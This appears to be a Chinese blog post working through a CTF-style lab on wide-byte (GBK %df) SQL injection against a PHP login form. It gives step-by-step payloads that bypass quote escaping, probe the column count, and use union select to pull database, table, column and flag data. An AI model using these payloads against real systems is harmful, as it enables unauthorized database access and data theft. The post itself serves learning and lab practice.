【宽字节注入】

字符编码

url 编码

GBK编码

utf8 编码

宽字节注入

php中的转译函数

宽字节注入介绍


练习

正常输入没有回显:

cpp 复制代码
没有回显
username=admin&password=admin 

闭合单引号,依旧没有回显
username=admin' and 1=1%23&password=admin

利用宽字节尝试闭合,依旧没有回显
username=admin%df' and 1=1%23&password=admin

换成or连接,回显admin,说明数据库里面没有admin,导致前面的admin是flase,后面是true,and需要保证两个都是ture才能返回ture
username=admin%df' or 1=1%23&password=admin

下面我们之间用常规的union来获取数据,先用order by 来测试列数:

cpp 复制代码
username=admin%df' order by 4 select 1,2,3%23

报错回显了,没有那么多列数,说明只有三列:

我们接着用union来测试回显位:

cpp 复制代码
username=admin%df' union select 1,2,3%23

拿到回显列后,直接开始拿数据:

cpp 复制代码
拿库名
username=admin%df' union select 1,database(),3%23&password=admin

拿表名
username=admin%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin

拿列名 #这里的0x666c6167是flag转成16进制后的编码,因为单引号被过滤了,所以通过编码绕过
username=admin%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=admin

拿数据
username=admin%df' union select 1,flag,3 from flag%23&password=admin
相关推荐
Maỿbe8 分钟前
Redis的持久化
数据库·redis·缓存
努力学习的小廉1 小时前
初识MYSQL —— 基本查询
数据库·mysql·1024程序员节
许泽宇的技术分享1 小时前
让数据库“听懂“人话:Text2Sql.Net 深度技术解析
数据库·.net
珊珊而川2 小时前
MAC-SQL 算法一
数据库·sql·oracle
听风吟丶2 小时前
深入解析 Spring Boot 自动配置:原理、实践与进阶
java·数据库·sql
风语者日志2 小时前
[LitCTF 2023]这是什么?SQL !注一下 !
android·数据库·sql
lang201509282 小时前
Spring Boot 核心技巧与实战指南
java·数据库·spring boot
呆呆小金人4 小时前
SQL视图:虚拟表的完整指南
大数据·数据库·数据仓库·sql·数据库开发·etl·etl工程师
笨手笨脚の4 小时前
Mysql 读书笔记
数据库·mysql·事务·索引·orderby·自增主键
码力引擎4 小时前
【零基础学MySQL】第四章:DDL详解
数据库·mysql·1024程序员节